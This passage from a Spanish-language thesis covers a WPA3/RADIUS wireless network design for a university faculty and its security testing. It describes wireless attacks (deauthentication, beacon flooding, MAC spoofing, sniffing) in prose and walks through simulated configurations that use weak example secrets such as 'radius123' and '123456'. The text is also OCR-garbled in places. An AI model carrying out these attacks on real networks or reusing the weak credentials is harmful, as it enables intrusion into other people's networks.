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contrasefias. En un ataque de Diccionario, el agresor utiliza una lista de contrasefias comunes
o0 palabras encontradas en diccionarios, probando cada una en un intento de coincidencia con
la contrasefia objetivo. Por otro lado, en un ataque de Fuerza Bruta, el atacante emplea un
enfogque maés exhaustivo probando todas las combinaciones posibles de caracteres en busca de
la contrasefia correcta. Ambos métodos son automatizados y pueden ser intensivos en tiempo
y recursos computacionales. El ataque se realiza en el Anexo 5.

6.- Ataque de Desautenticacion y Desasociacion

El ataque de Desautenticacion y Desasociacion es una estrategia de ciberataque que
apunta a interrumpir o desconectar dispositivos de una red inalambrica legitima. En este tipo
de ataque, el agresor envia paquetes de desautenticacion o desasociacion falsos a los
dispositivos de destino, haciéndoles creer que han perdido la conexion con el punto de
acceso. Esto puede resultar en la desconexion forzada de los dispositivos de la red, lo que
puede conducir a la interrupcion de los servicios, la denegacion de acceso o la oportunidad de
aprovechar la confusién para llevar a cabo otros ataques, como intentos de interceptacion de
comunicaciones o ataques de man-in-the-middle. El ataque se realiza en el Anexo 6.

7.- Ataque de Inyeccién y Manipulacion de Tréafico

El ataque de Inyeccidn y Manipulacién de Tréafico es una tactica de ciberataque que se
aprovecha de vulnerabilidades en las redes inalambricas para insertar o alterar paquetes de
datos legitimos en la corriente de trafico. Los atacantes pueden utilizar esta técnica para
enviar paquetes maliciosos con el objetivo de corromper la integridad de la informacion,
obtener acceso no autorizado a sistemas o realizar ataques de man-in-the-middle. Al
manipular el trafico, los atacantes pueden ejecutar acciones no autorizadas en la red,
comprometiendo la confidencialidad y la autenticidad de los datos transmitidos. El ataque se

realiza en el Anexo 7.
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8.- Ataque de Inundacion de Tramas beacon/probe

El ataque de Inundacién de Tramas Beacon/Probe es una estrategia maliciosa que
busca sobrecargar una red inaldmbrica al saturarla con un alto volumen de tramas Beacon y
Probe falsas. Las tramas Beacon son emitidas por los puntos de acceso para anunciar su
presencia y configuracion a los dispositivos cercanos, mientras que las tramas Probe son
enviadas por los dispositivos en busca de redes disponibles. En este tipo de ataque, el agresor
generay envia de manera repetitiva tramas falsas, lo que puede agotar los recursos de la red,
ralentizar el rendimiento y dificultar la comunicacion legitima entre dispositivos y puntos de
acceso. Este ataque puede interrumpir la conectividad y causar una degradacion significativa

del servicio. El ataque se realiza en el Anexo 8.

9.- Ataque de Captura y Reenvio

El ataque de Captura y Reenvio es una tactica de ciberataque en la cual un atacante
intercepta el trafico de datos entre dos partes y luego lo reenvia sin ser detectado, actuando
como un intermediario no autorizado. Este tipo de ataque puede comprometer la
confidencialidad y la integridad de la informacion transmitida, ya que el atacante puede
acceder y manipular los datos en transito. Para llevar a cabo el ataque de captura y reenvio, el
agresor suele utilizar herramientas que permiten capturar los paquetes de datos, modificarlos

si es necesario y luego enviarlos al destinatario real. El ataque se realiza en el Anexo 9.

10.- Atague de Sniffer de Paquetes

El ataque de Sniffer de Paquetes, también conocido como analisis de trafico, es una
técnica que involucra la interceptacion y el monitoreo pasivo del trafico de datos en una red,
con el fin de obtener informacidn confidencial sin alterar los datos en si. Los atacantes
utilizan herramientas llamadas sniffers para capturar y analizar los paquetes de datos que

circulan por la red, lo que puede incluir contrasefias, informacion personal, comunicaciones
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sensibles y més. A pesar de que el ataque de Sniffer no modifica los datos, su efecto puede
ser devastador, ya que proporciona a los atacantes acceso a informacién confidencial que
podria ser utilizada para realizar otros tipos de ataques, como suplantacién de identidad o

exposicion de datos. El ataque se realiza en el Anexo 10.

11.- Ataque de Suplantacion MAC

El ataque de Suplantacion de MAC es una estrategia de ciberataque que implica
modificar o falsificar la direccion MAC de un dispositivo con el propdésito de engafiar a la red
y acceder de manera no autorizada. En este tipo de ataque, un atacante altera su direccion
MAC para hacerla coincidir con la direccion MAC de un dispositivo autorizado, lo que le
permite sortear los controles de seguridad y ganar acceso a la red. Una vez dentro, el atacante
puede interceptar el trafico de datos, realizar ataques de man-in-the-middle u otras
actividades maliciosas. La deteccion de este tipo de ataque puede ser desafiante debido a la
naturaleza mutable de las direcciones MAC, lo que subraya la importancia de implementar
medidas de seguridad adicionales, como autenticacion sélida y monitoreo constante de la

actividad de red para identificar anomalias. El ataque se realiza en el Anexo 11.

3.4.  Disefo de la Red Inalambrica

Las redes inalambricas son una alternativa econdémica para brindar servicios de video,
voz y datos en espacios amplios que no necesitan de cableado, sino que basta con la
ampliacion de puntos de acceso para llegar a nuevas y lejanas zonas sin la necesidad de
modificar la configuracion inicial, por lo que este tipo de red aporta movilidad, accesibilidad,
flexibilidad, escalabilidad. En el presente disefio se considera la norma 802.11ac o Wi-Fi 5, la
densidad de los usuarios de la facultad, el ancho de banda necesario para satisfacer las

necesidades de los usuarios, la cobertura del area necesaria con el fin de reducir la gestion del
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personal técnico de red de la universidad y evitando problemas de interferencias con otros

dispositivos.

3.4.1. Disefio de Topologia de Red

En el caso de las redes inalambricas algunas topologias de red pueden o no, ser
aplicadas esto para lograr una implementacion de red exitosa. La comunicacion inalambrica
siempre es en dos sentidos es decir bidireccional. Por lo que la seleccion de la topologia de
red en este caso se realizara en forma de estrella dado que es la estructura mas comun para
redes inaldmbricas utilizada comunmente en WISP. Con esta topologia se tiene una mayor

organizacion a la red, incluso agregar dispositivos es mas facil con solo conectarlo al switch.

Para la simulacion de la red inaldmbrica se cre6 una topologia en el software Packet
Tracer ilustrada en la Figura 33 posee una segmentacion por VLAN y una red inaldmbrica
basada en Wi-Fi5. Una vez con la topologia de red y el direccionamiento finalizado se
procede a realizar la configuracion de los dispositivos utilizados en la simulacion, basandose
en el protocolo IEEE 802.11ac con autenticacion WPA3 y un servidor Radius que

proporcione mayor seguridad al borde de la red protegiendo a los usuarios inalambricos.

Figura 33
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3.4.2. Disefio Fisico de la Red Inalambrica Wi-Fi 5

El disefio fisico hace referencia a la planificacion, configuracion y a la forma fisica
que tendra la red dependiendo de la cantidad de equipos y su distribucion en el area en que se
implementara la red. Incluye diagramas de distribucion de equipos para garantizar una

cobertura y calidad de sefial adecuadas, asi como conexiones seguras y estables.

3.4.2.1. Descripcioén de los Equipos de Red
Para el disefio fisico de la red se debe tener en cuenta la estructura del edificio
correspondiente a la Facultad de Ingenieria en Ciencias Aplicadas, asi como la ubicacion de

los puntos de acceso. A continuacién, se menciona los equipos utilizados en la universidad.

e Wireless LAN Controller (WLC)

El WLC como se observa en la Figura 34 es utilizado para centralizar el control de los
distintos AP’s que existen en la universidad, de esta manera los AP’s no trabajaran de manera
autébnoma, sino que todos los datos pasaran por el WLC. Ademas, el WLC permite optimizar
el rendimiento de la red, agregar flexibilidad e integrar la seguridad mediante deteccion de
amenazas, EI Wireless LAN Controller cumple con las caracteristicas necesarias para la
implementacién de la red inalambrica segun la tabla de requerimientos, dado que consta con
soporte del estandar 802.11ac con seguridad WPA3 de igual manera soporta el protocolo

RADIUS, algunas de sus caracteristicas se observan en la Tabla 9.

Tabla 9

Especificaciones técnicas del Cisco Catalyst 9800-40 Wireless Controller

Item Especificacion

IEEE 802.11a, 802.11b, 802.11¢g, 802.11d, WMM/802.11¢,
802.11h, 802.11n, 802.11k, 802.11r, 802.11u, 802.11w,
802.11ac, 802.11ax

Estandares

Inalambricos
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Estandares Cableados, IEEE 802.3 10BASE-T, IEEE 802.3u 100BASE-TX,
Conmutacion y de 1000BASE-T, 1000BASE-SX, 1000BASE-LH, IEEE
Enrutamiento 802.1Q VLAN tagging, 802.1AX Link Aggregation

e Wi-Fi Protected Access (WPA)
e IEEE 802.11i (WPA2, RSN)
e Wi-Fi Protected Access 3 (WPA3)
e RFC 1851 Encapsulating Security Payload (ESP) Triple
DES (3DES) Transform
e RFC 2401 Security Architecture for the Internet Protocol

Estandares de

Seguridad

e RFC 2407 Interpretation for Internet Security
Association Key Management Protocol (ISAKMP)
e RFC 5246 TLS Protocol Version 1.2

e Static Wired Equivalent Privacy (WEP) RC4 40, 104 and
128 bits
e Advanced Encryption Standard (AES): Cipher Block
Chaining (CBC), Counter with CBC-MAC (CCM),
Counter with CBC Message Authentication Code
Protocol (CCMP)
¢ Data Encryption Standard (DES): DES-CBC, 3DES

Estandares de

Encriptacion

e Secure Sockets Layer (SSL) and Transport Layer
Security (TLS): RC4 128-bit and RSA 1024- and 2048-
bit

e DTLS: AES-CBC

e IEEE 802.1X
e RADIUS Attributes
e RFC 2716 Point-to-Point Protocol (PPP) Extensible

Authentication Protocol (EAP)-TLS
e RFC 2865 RADIUS Authentication

e RFC 2866 RADIUS Accounting

e RFC 2867 RADIUS Tunnel Accounting
e RFC 2869 RADIUS Extensions

Estandares AAA
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e RFC 5176 Dynamic Authorization Extensions to
RADIUS
e RFC 3579 RADIUS Support for EAP
e RFC 3580 IEEE 802.1X RADIUS Guidelines
e RFC 3748 Extensible Authentication Protocol (EAP)
Nota. Tomado de CISCO, por (CISCO, 2022b).

Figura 34

Cisco Catalyst 9800-40 Wireless Controller

Nota. Tomado de CISCO, por CISCO, 2023.

e Access Point

En el area de los Access Point (AP) o punto de acceso tal como se ilustra en la Figura
35, existen una gran variedad actualmente para lo cual la eleccién adecuada dependera de
varios factores, los AP’s son dispositivos que permiten crear una red de area local
inalambrica (WLAN), existen AP’s de un precio elevado que ofrece mejores caracteristicas y

AP’s de bajo costo que ofrecen caracteristicas basicas.

Se realizd una evaluacidn en cuanto la relacion precio/prestaciones debido a que si se
utilizan varias decenas de puntos de acceso inaldmbricos, el costo seria elevado, por lo que es
conveniente utilizar un Access Point que esté en cuanto a precio en un término medio, pero
que cumpla con los requerimientos minimos para la red inalambrica, especificamente para
este caso se debe tener un AP que soporte el estandar IEEE 802.11ac o Wi-Fi 5, aparte de
esto también se debe tener dentro de sus configuraciones un dispositivo que sea capaz de
soportar el protocolo RADIUS, y finalmente que soporte el protocolo de autenticacion

WPAZ3, algunas caracteristicas relevantes se observan en la Tabla 10.


https://internetpasoapaso.com/red-wlan/
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Tabla 10

Especificaciones técnicas del access point

Caracteristicas Beneficios

e Cisco Unified Wireless Network Software Release 8.9 or

e Cisco I0S XE Software Release 16.11 or later

o Cisco Catalyst 9800 Series Wireless Controllers
Soporte WLC e Cisco 3500, 5520, and 8540 Series Wireless Controllers

and Cisco Virtual Wireless Controller

e 4x4 MIMO with four spatial streams
e Maximal Ratio Combining (MRC)
e 802.11n and 802.11a/g beamforming
e 20- and 40-MHz channels
e PHY data rates up to 890 Mbps (40 MHz with 5 GHz and
20 MHz with 2.4 GHz)

802.11n version 2.0

e Packet aggregation: A-MPDU (transmit and receive), A-
MSDU (transmit and receive)

e 802.11 Dynamic Frequency Selection (DFS)

e 4x4 downlink MU-MIMO with four spatial streams
e MRC
e 802.11ac beamforming
e 20-, 40-, 80-, and 160-MHz channels
802.11ac o PHY data rates up to 3.47 Gbps (160 MHz with 5 GHz)
e Packet aggregation: A-MPDU (transmit and receive), A-
MSDU (transmit and receive)
e 802.11 DFS
e CSD support

e 4x4 downlink MU-MIMO with four spatial streams
¢ Uplink/downlink OFDMA
e TWT

802.11ax

e BSS coloring




78

e 802.11ax beamforming
e 20-, 40-, 80-, and 160-MHz channels
e PHY data rates up to 5.38 Gbps (160 MHz with 5 GHz
and 20 MHz with 2.4 GHz)
e Packet aggregation: A-MPDU (transmit and receive), A-
MSDU (transmit and receive)
e 802.11 DFS

e 2.4 GHz, peak gain 3 dBi, internal antenna,
Antenas Integradas omnidirectional in azimuth
e 5 GHz, peak gain 4 dBi, internal antenna,
omnidirectional in azimuth
e 1x 100, 1000, 2500 Multigigabit Ethernet (RJ-45) — IEEE

802.3bz

Interfaces
e Management console port (RJ-45)

e USB2.0

Nota. Tomado de CISCO, por (CISCO, 2022c).

Figura 35

Cisco C9115axi-A

Nota. Tomado de CISCO, por CISCO, 2023.

e Tarjetas de red

La tarjeta de red es utilizada para la conexion entre un PC y un punto de acceso o un
maodem/router, esto depende de los dispositivos de los usuarios ya que no todos tendran las
mismas caracteristicas de conexion, para el proyecto se trabaja con una tarjeta de red Intel

Dual Band Wireless-AC 7265 que se observa en la Figura 36 y ademas para la parte de las
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vulnerabilidades se tiene una tarjeta externa inalambrica Alfa Network AWUS036NHA como
se observa en la Figura 37. Ambas tarjetas inalambricas cumplen la mayoria de los
requerimientos necesarios para realizar el trabajo, una logra trabajar con el estandar 802.11ac
la cual presenta unas especificaciones tal como se observa en la Tabla 11, mientras que la
tarjeta ALFA es necesaria gracias a su chipset Atheros que es necesario para realizar ataques
inalambricos y asi comprobar la robustez de la red inalambrica implementada en la FICA la

cual posee las especificaciones que se ilustra en la Tabla 12.

Tabla 11

Especificaciones técnicas de la tarjeta de red Intel® Dual Band Wireless-AC 7265

Caracteristicas Beneficios
Flujos de TX/RX 2X2
Bandas 2.4y5GHz
Maéxima velocidad 867 Mbps
Wi-Fi Certificado WiFi 5 (802.11ac)
Cumplimiento FIPS, FISMA
Bluetooth integrado Si
Version Bluetooth 4.2

Nota. Tomado de Intel, por INTEL, 2023.

Tabla 12

Especificaciones técnicas de la tarjeta de red Alfa Network AWUSO36NHA

Caracteristicas Beneficios

Estandar IEEE 802.11b/g/n

Bandas 2.412 — 2.483 GHz



802.11b: 11 Mbps
Méxima velocidad 802.11g: 54 Mbps

802.11n: 150 Mbps

Chipset Atheros AR9271
1-11 (América)
Canales
1 - 13 (Europa)
Modulacion BSPK, QPSK, CCKy OFDM
) WEP, 802.1X, WPA, WPA-PSK, WPA2, AES,
Seguridad

TKIP

Nota. Tomado de ALFA, por ALFA Network, 2023.

Figura 36

Intel® Dual Band Wireless-AC 7265

Nota. Tomado de Intel, por INTEL, 2023.

Figura 37

Alfa Network AWUSO36NHA

Nota. Tomado de ALFA, por ALFA Network, 2023.
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e Clientes inalambricos

Seran todos los equipos de red de los estudiantes, docentes y personal administrativo
que se utilicen la red inalambrica mediante el punto de acceso para acceder a recursos en
linea, realizar investigaciones, enviar correos electronicos, participar en discusiones en linea,
entre otras actividades. La gestion adecuada de los clientes inalambricos es esencial para
garantizar una experiencia de usuario satisfactoria, asegurar la estabilidad y seguridad de la
red, y garantizar el cumplimiento de las politicas de uso aceptable. Por lo tanto, es importante
contar con un sistema de gestion de clientes inalambricos que permita el registro y la
autenticacion de los dispositivos, el monitoreo y la resolucion de problemas de conexion, y la

aplicacién de politicas de seguridad y control de acceso.

e Router Inalambrico

Para el proyecto se utilizara el router inalambrico de la marca TP-Link de la serie
AX3000 ilustrado en la Figura 38. Se plantea crear un punto de acceso con este dispositivo
dado que cumple con los requerimientos necesarios para la realizacion de pruebas en la
FICA, cumple con el estandar inaldmbrico 802.11ac, la seguridad inalambrica WPA3 y el
estdndar RADIUS. Especificamente el modelo AX55 que presenta las caracteristicas que se

observan en la Tabla 13.

Tabla 13

Especificaciones técnicas de TP-Link AX55

Caracteristicas Beneficios

IEEE 802.11ax/ac/n/a 5GHz
IEEE 802.11ax/n/b/g 2.4GHz

Estandares

5GHz: 2402Mbps
2.4GHz: 574Mbps

Velocidades Wi-Fi



Rango Wi-Fi

4 antenas de alto rendimiento
Beamforming

FEM de alta potencia

Capacidad Wi-Fi

Doble Banda
OFDMA
DFS

Modo de trabajo

Modo Router
Modo Access Point

Cifrado Wi-Fi

WPA
WPA2
WPA3-Personal

WPA/WPA2-Enterprise (802.1x)

Nota. Tomado de Tp-Link, por Tp-Link, 2023.

Figura 38

TP-Link AX55

Nota. Tomado de Tp-Link, por Tp-Link, 2023.

Laptop

Para el proyecto se utilizara el computador personal Strix GL753VD ilustrado en la
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Figura 39 que consta con un procesador Intel® Core™ i7 7700HQ de séptima generacion y la

tarjeta grafica nvidia GTX 1050 4GB en una pantalla full hd de 17 pulgadas con una memoria

RAM de 32 GB DDR4 y un teclado retroiluminado RGB.
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Figura 39

Strix GL753VD
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Fuente: Tomado de ASUS, por ASUS, 2023.

3.4.3. Disefio Ldgico de la Red Inalambrica Wi-Fi 5

El disefio 16gico define la arquitectura de la red, mientras el disefio fisico establece el
detalle de los componentes y configuraciones. Dichos disefios tienen que crearse en funcion
de las necesidades tanto actuales como las previsibles para la facultad, esto con el fin de
obtener el mayor rendimiento de la red. Por lo que para este disefio se toma en cuenta la
administracion de las VLANS!? creadas en la universidad haciendo especial énfasis en las
utilizadas para la FICA dado que al segmentar las redes en dominios méas pequefios se tiene
un mejor rendimiento en la red. Todo nace en el switch de core primario que se encuentra
ubicado en el edifico central de la universidad donde se realiza la creacion de las VLANSs que
seran propagadas por el protocolo VTP*3 configurado en modo servidor para que los otros
switches ubicados en las diferentes zonas de la universidad conozcan la configuracion del
switch primario, los otros switches deberan estar configurados con el protocolo VTP en modo
cliente. Para lo cual se tiene una distribucién de VLANs como se observa en la Tabla 14

referente a la FICA.

12 v/jrtual Local Area Network
13 \VLAN Trunk Protocol



Tabla 14

Distribucién de VLANSs
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VLAN Descripcion Direccion IP Mascara de Subred
38 Nativa - -
40 FICA-Laboratorios 157.100.156.0 255.255.254.0
42 FICA-Wireless 157.100.193.0 255.255.255.0
44 FICA-Administrativos 157.100.194.0 255.255.255.0
86 Eduroam 157.100.0.0 255.255.192.0

3.4.4. Direccionamiento de la Red Inalambrica

Para el disefio 16gico de la red se utilizara una IPv4 de clase B, dado que esta clase es

utilizada en redes de tamarfio medio, como organizaciones o universidades. Esta clase permite

crear un niimero de redes igual a 21* = 16384 redes, pero con muchos menos equipos

conectados a ellas, 65534 dispositivos, lo suficiente para las necesidades de la facultad. El

rango inicia en 128.0.0.0 hasta 191.255.255.255 los dos primeros bloques identifican la red y

los restantes a los equipos conectados a ella como se ilustra en la Tabla 15.

Direccion IPv4: 157.100.0.0

Tabla 15

Direccionamiento de la red IPv4

) o ) » Maéscara de
Dispositivo  Puerto Direccion IP Gateway
Subred
Cloud G8 9.99.1 255.255.255.252 NA
RO G0/0/0 9.9.9.2 255.255.255.252 NA




G0/0/1 10.10.10.1 255.255.255.0 NA
G1/1 10.10.10.2 255.255.255.0 NA
CISCO
G1/2 157.100.177.1 255.255.255.0 NA
ASA 5520
G1/3 192.168.100.1 255.255.255.0 NA
WLC 5508
HA Gl 157.100.183.2 255.255.255.0 157.100.183.1
WLC 5508
157.100.183.3 255.255.255.0 157.100.183.1
HA2
PC-
) GO 157.100.183.4 255.255.255.0 157.100.183.1
Gestion
Servidor
GO 157.100.177.2 255.255.255.0 157.100.177.1
DHCP
Servidor
GO 157.100.177.3 255.255.255.0 157.100.177.1
RADIUS
Cisco
) GO 157.100.177.4 255.255.255.0 157.100.177.1
Prime
Servidor
_ GO 157.100.177.5 255.255.255.0 157.100.177.1
Elastix
Cisco 3825 GO 157.100.177.6 255.255.255.0 157.100.177.1

Para el caso del direccionamiento en IPv6 se utilizara la direccién

157:100:CFE9:7531::0 con méscara de subred /114 la que permite tener un nimero de
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direcciones IPs igual a 16384 mas que suficiente. El direccionamiento de la red con IPv6 se

ilustra en la Tabla 16.

Direccion IPv6: 157:100:CFE9:7531::0



Tabla 16

Direccionamiento de la red IPv6
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Prefijo
Dispositivo Puerto Direccion IP de Gateway
Red
Cloud G8 900:900:900:7531::1 1126 NA
G0/0/0 900:900:900:7531::2 /126 NA
RO
G0/0/1 1000:1000:1000:7531::1 /114 NA
G1/1 1000:1000:1000:7531::2 /114 NA
CISCO
G1/2 157:100:CFE9:7531::4:4001 /114 NA
ASA 5520
G1/3 1920:1680:1000:7531::1 /114 NA
WLC 5508
HA Gl 157:100:CFE9:7531::5:C002 /114  157:100:CFE9:7531::5:C001
WLC 5508
HAD Gl 157:100:CFE9:7531::5:C003 /114  157:100:CFE9:7531::5:C001
PC-
) FO 157:100:CFE9:7531::5:C004 /114  157:100:CFE9:7531::5:C001
Gestion
Servidor
FO 157:100:CFE9:7531::4:4002 /114 157:100:CFE9:7531::4:4001
DHCP
Servidor
FO 157:100:CFE9:7531::4:4003 /114 157:100:CFE9:7531::4:4001
RADIUS
Cisco
) FO 157:100:CFE9:7531::4:4004 /114 157:100:CFE9:7531::4:4001
Prime
Servidor
) FO 157:100:CFE9:7531::4:4005 /114 157:100:CFE9:7531::4:4001
Elastix
Cisco 3825 FO 157:100:CFEQ:7531::4:4006 /114  157:100:CFE9:7531::4:4001
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3.4.5. Simulacion de la Red Inalambrica

En el presente capitulo se realizara el disefio e implementacion para una
infraestructura de red inalambrica en la Facultad de Ingenieria de Ciencias Aplicadas de la
Universidad Técnica del Norte con el protocolo de autenticacion WPAS3 para poder analizar
las nuevas caracteristicas que brinda este protocolo asi como las posibles vulnerabilidades
encontradas a lo largo de los afios, para lo cual se va a realizar un andlisis de los diferentes
equipos de red que van a ser utilizados tanto en operatividad, precio y funcionalidad. Para la
realizacion del proyecto se utilizo el software “CISCO Packet Tracer” en la que se puede
establecer diferentes funciones tanto basicas como avanzadas y de esta manera permitir

disefiar la red inalambrica tal como se observa en la Figura 40.

Figura 40

Simulacion de red UTN

o
p T p

T
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En esta herramienta se tiene beneficios como un entorno de aprendizaje de simulacién
y visualizacion realista en tiempos reales. Ademas de poder crear, configurar y solucionar
problemas de redes complejos mediante equipos virtuales para realizar experimentos y de

esta manera comprender la creacion de redes (CISCO, 2023b).

3.4.5.1. Configuracion Servidor RADIUS

Antes de configurar el servidor RADIUS se crea diferentes pools de direcciones en un
servidor DHCP para cada vlan de la universidad creada como se ilustra en la Figura 41. En el
caso de la configuracion del servidor RADIUS se empieza asignando una direccion IP en la
interfaz GigabitEthernet 0 o solicitando al servidor DHCP correspondiente al pool de

direcciones IPv4 tal como se ilustra en la Figura 42.

Figura 41
Servidor DHCP
¥ DHCP - O
Physical Config Services Desktop Programming Attributes
N
SERVICES -
HTTP
DHCP Interface GigabitEthernetd ~ | Service (® On O off
DR Pool Name [EDUROAM |
TFTP
e Defautt Gateway [157.100.0.1 |
SYSLOG DNS Server [aa8 |
AAA
Start IP Address : [157 | [100 | [o |2 |
NTP
EMAIL Subnet Mask: [255 | [255 | [192 | [0 |
FTP Maximum Number of Users : |163&2 |
IoT
VI Management TFTP Server: [0.0.0.0 |
Radius EAP WLC Address: [157.100.183.2 |
Add Save Remove
-
Pool Default DNS Stl‘;rt Subnet Max TFTP WLC
Name Gateway Server Mask User Server Address
Address
"EDURDAM 157.100.0.1 3.8.8.8 157.100.0.2 255.255.192.0 0000  157.100.1832
Wireless-Estudiantes 157.100.641 8888 157.100.64.2 2552551920 16382 0.0.0.0 157.100.183.2
Wireless-Docentes 157.100.128.1 8888 157.100.1282 2552552480 2026  0.0.0.0 157.100.183.2
Wireless-Eventos1 157.100.136.1  B8.8.88 157.100.136.2  255.255.248.0 2026  0.0.0.0 157.100.183.2
Wireless-Eventos2 157.100.1441 88538 157.100.1442 2552552480 2026 0.0.0.0 157.100.183.2
TF-IP-Elastix 157.100.1521 88838 157.100.1522 2552552520 1022  0.0.0.0 157.100.183.2
FICA-Laboratorios 157.100.156.1 8888 157.100.1562 2552552540 510  0.0.0.0 157.100.183.2

FICAYA-Laboratorios 1571001581 8888 1571001582 2552552540 510 0.0.0.0

57.100.183.2 w
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Figura 42

Direccionamiento servidor Radius

¥ raDIUS — O >
Physical Cenfig Services Desktop Programming Attributes
—
IP Caenfiguration
IP Configuration
(®) DHCP () Static
IPv4 Address 157.100.177.3
Subnet Mask 255 255 255.0
Default Gateway 1571001771
DNS Server 8.8.8.8

Como es un servidor AAA nos dirigimos al apartado de servicios, lo encendemos,
seguido colocamos el nombre del cliente que sera el Wireless LAN Controller de igual
manera la direccion IP del cliente 157.100.183.2 con su contrasefa respectiva “radius123”

ilustrado en la Figura 43, en este caso se tiene otro WLC con la direccion 157.100.183.3 y su

contrasena “radius456”.

Figura 43

Activacion de servicio AAA

¥ papius - O *
Physical Config Deskiop Programming Attributes
SERVICES A A A
HTTP
DHCP Service Radius Port {1812 | |
DHCPvE
TFTP MNetwork Configuration
DhS Client Name [wLC-1 | clientp [157.100.183.2 |
SYSLOG
Secret radius123 ServerType | Radius e
[ [ran] | | | P
NTP Client Name Client IP Server Type Key
EMAIL . . Add
1 WLC-1 157.100.183.2 Radius radius123
FTP
IaT 2 WLC-2 157.100.183.3 Radius radius458
VM Management Save
Radius EAP
Remove
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Finalmente se crea diferentes usuarios para el acceso a la red, se crea usuarios tanto
para estudiantes, docentes, tics y Eduroam cada uno con sus respectivas contrasefias tal como

se ilustra en la Figura 44.

Figura 44

Creacion de usuarios en el servidor Radius

User Setup

Username [EDUROAN | Password [ABCDE-faHE

Username Password

2 W_Estudiantes 123456
3 W_Docentes 234567
4 W_Eventos1 345678
5 W_Eventos2 876543
& W_Administrativos 755432

3.4.5.2. Configuracion del WLC

Al momento de configurar el WLC en el apartado de administracion se coloca su
respectiva direccion IP 157.100.183.2/24 con la direccion del Gateway 157.100.183.1 que es
la direccion del router en la subinterfaz Gigabit Ethernet 0/0.18 ilustrado en la Figura 45, de
igual forma se coloca una PC que sera la que gestione el Wireless LAN Controller, para lo
cual se coloca la direccion IP por DHCP quedaréa dentro del rango de la VLAN 18 es decir

157.100.183.4/24 ilustrado en la Figura 46.

Figura 45

Direccionamiento del WLC 1y 2

4

Physical Config Attributes
I

GLOBAL Management
Settings

INTERFACE IP Configuration
GigabitEthernetl IPvd Address 157.100.183.2
GigabitEthernet2 Subnet Mask 255.255 2550
GigabitEthernet3 Default Gateway 157.100.183.1
GigabitEthernetd DNS Server 2888
GigabitEthernets

Management




B Wireless LAN Controller HA = X
Physical Config Attributes.
I
GLOBAL Management
Settings
INTERFACE IP Configuration
GigabitEthernetl IPvd Address 157.100.183.3
GigabitEthernet2 Subnet Mask 255.255.255.0
GigabitEthernet3 Default Gateway 157.100.183.1
GigabitEthernet4 DMS Server 8388
GigabitEthernets
Management
Figura 46
Direccionamiento de la PC de gestion del WLC
¥ pC Gestion - b

Physical Config

Desktop Programming Attributes

IP Configuration

Subnet Mask
Default Gateway
DNS Server

IPvE Configuration
() Automatic

IPv6 Address

Link Local Address
Default Gateway

DNS Server

Para poder configurar el WLC se ingresa desde la PC de gestion en el navegador

Interface FastEthernetd
IP Configuration
() DHCP (® Static
IPvé Address 157.100.183 .4

|255.255.255.0

[157.100.183.1

EEED

(@ Static

157:100:CFES:7531::5:C002

| 1 [11e

|FEBU::24U:BFF:FE35:GUB

157:100:CFE®:7531::5:C001

|ZDD1:4E«SD:4E«SD::ESEE
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colocando la direccion IP del WLC en este caso 157.100.183.2, al cargar la pagina se debera

crear un usuario con su respectiva contrasefia, para la simulacion sera “admin” como usuario

y “Admin123@?” para su contrasefia como se ilustra en la Figura 47.



Figura 47

Gestion del WLC

[ lprsioe] |

Cisco 3500 Series Wireless LAN Controller

Welcome! Please start by creating an admin account.

Una vez dentro del WLC se coloca el nombre del sistema que serda “WLC”, de igual
manera se coloca la direccion IP de administracion “157.100.183.2” que es la direccion del
WLC la mascara de subred y el gateway por defecto, asi como la VLAN de administracion

como se observa en la Figura 48.

Figura 48

Configuracién del WLC

URL |http:i1157.100.183.2

N
Cisco

Cisco 3500 Series Wireless LAN Controller

System Name WLC

Country United States (US) -

Date & Time 07/06:/2023 E 14:15:40

Timezone Central Time (US and Canada) -

NTP Server | (optional)

Management [P Address 157.100.1832

Subnet Mask 2552352350

Default Gateway 157.100.183.1

Management VLAN ID 0
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En el siguiente apartado se configura el servidor Radius en el WLC con su respectivo
nombre con la seguridad WPA2-Enterprise debido a que no se tiene WPA3-Enterprise en el
simulador, la direccion IP es del servidor Radius con su respectiva contrasefia configurada tal
como en la Figura 49. Finalmente sale el Gltimo apartado de resumen de configuracion en el

que se aplica los cambios para poder acceder al WLC como en la Figura 50.

Figura 49

Configuracion de red Enterprise para conexion con el servidor Radius

Employee Network

Network Name Wi-Fis

Security = WPAZ Enterprize -
Authentication Server [P Address 157.100.177.3
Auth. Server Shared Secret
Confirm Shared Secret
VLAN Management VLAN -
DHCP Server Address 0.0.0.0 (optional)
Guest Network



Figura 50

Resumen de configuraciones

Username
System Name
Country

Date & Time

Timezone
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admin

WLC

United States (US)

07/06/2023 14:17:37

Central Time (US and Canada)

NTP Server -

Management IP Address
Management IP Subnet
Management IP Gateway

Management VLAN ID

Employee Network

Network Name

Security

Authentication Server [P Address
Authentication Server Shared Secret

Employes VLAN

157.100.1832
255255.2550
157.100.183.1
0

Wi-Fi3

WPA2 Enterprise
157.100.177.3
wrnEnd

Management VLAN

DHCP Server Address -

Se ingresa al WLC nuevamente desde la PC de gestion esta vez con el protocolo https

ademas del usuario creado y su respectiva contrasefia como se ilustra la Figura 51.

Figura 51

Ingreso al WLC

|URL |httpsuiii57.100.183.2

Authentication Required

User Name: |admin

Password:

Welcome! Please click the login button to enter your user name and password
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Una vez dentro de las configuraciones del WLC tal como se observa en la Figura 52

se procede a la configuracion del servidor Radius creando las interfaces necesarias para las

WLANS.

Figura 52

WLC

Web Browser

URL |https://157.100.183.2/frameMonitor.html

Save Configuration  Pin Logout Refresh
afver]e RCReOg Bing  Logout R

CIsSCcOo MONITOR  WLANs CONTROLLER WIRELESS SECURITY MANAGEMENT COMMANDS HELP FEEDBACK A Home

Monitor Summary
Summary 150 Access Points Supported
» Access Points mremeTeTine
i i alvaln e
¥ Cisco CleanAir CISCO
} Statistics |!I
» CDP I_naceist anua
» Rogues
Controller Summary Rogue Summary
Clients
Management - .
1P hddrens 157.100.183.2 , ::/128 ﬁ,c,lwe Rogue .
Software s
Version 8.3.111.0 Active Rogue 0
o Field Clients
» Applications Recovery 7.6.101.1 Adhoc Rogues 0
Image Version Rogues on Wired a
System Mame WLC Metwork

En el apartado de “controller” e “interfaces” se observa la interfaz de administracion
creada tal como se ilustra en la Figura 53, por lo que es necesario crear nuevas interfaces en
este caso deberan ser siete una para estudiantes, una para docentes, una para administrativos,
Eduroam, FICA-Wireless, eventos y otra para la parte de gestion de la facultad. La primera

interfaz creada es para Eduroam con la ID de la VLAN 86 como se observa en la Figura 54.

Figura 53

Interfaces del WLC

Web Browser

[ o oo _

